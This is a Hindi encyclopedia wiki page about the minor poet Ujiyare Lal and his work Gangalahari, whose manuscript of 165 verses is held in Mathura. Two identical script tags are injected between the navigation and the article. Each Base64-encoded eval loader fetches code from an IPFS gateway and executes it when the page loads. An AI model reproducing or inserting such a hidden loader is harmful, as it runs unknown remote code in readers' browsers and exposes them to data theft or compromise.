उजियारे लाल

अद्‌भुत भारत की खोज
Bharatkhoj (चर्चा | योगदान) द्वारा परिवर्तित ११:३२, १२ जुलाई २०१३ का अवतरण (''''उजियारे लाल''' एक और अन्य कवि उजियारे कवि से भिन्न क...' के साथ नया पन्ना बनाया)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

उजियारे लाल एक और अन्य कवि उजियारे कवि से भिन्न कवि हैं। खोज रिपोर्ट[१] से केवल इतना ही पता चलता है कि उजियारे लाल ने परिपाटीबद्ध पद्धति पर 'गंगालहरी' नामक काव्य ग्रंथ का प्रणयन किया है।

  • 'गंगालहरी' नामक काव्य ग्रंथ की हस्तलिखित प्रति मथुरा, उत्तर प्रदेश में रमनलाल हरिचंद जौहरी के यहाँ देखी गई है।
  • उजियारे लाल के काव्य 'गंगालहरी' में कुल 165 कवित्त और सवैये हैं।
  • काव्य की दृष्टि से इस रचना में न तो कोई विशेषता है और न ही निखार। लेकिन अलंकार प्रदर्शन और चमत्कार के प्रति कवि का मोह अवश्य दिखाई पड़ता है।[२]

टीका टिप्पणी और संदर्भ

  1. संख्या 10, सन 1917-18
  2. कैलास चन्द्र शर्मा, हिन्दी विश्वकोश, खण्ड 2, पृष्ठ संख्या 58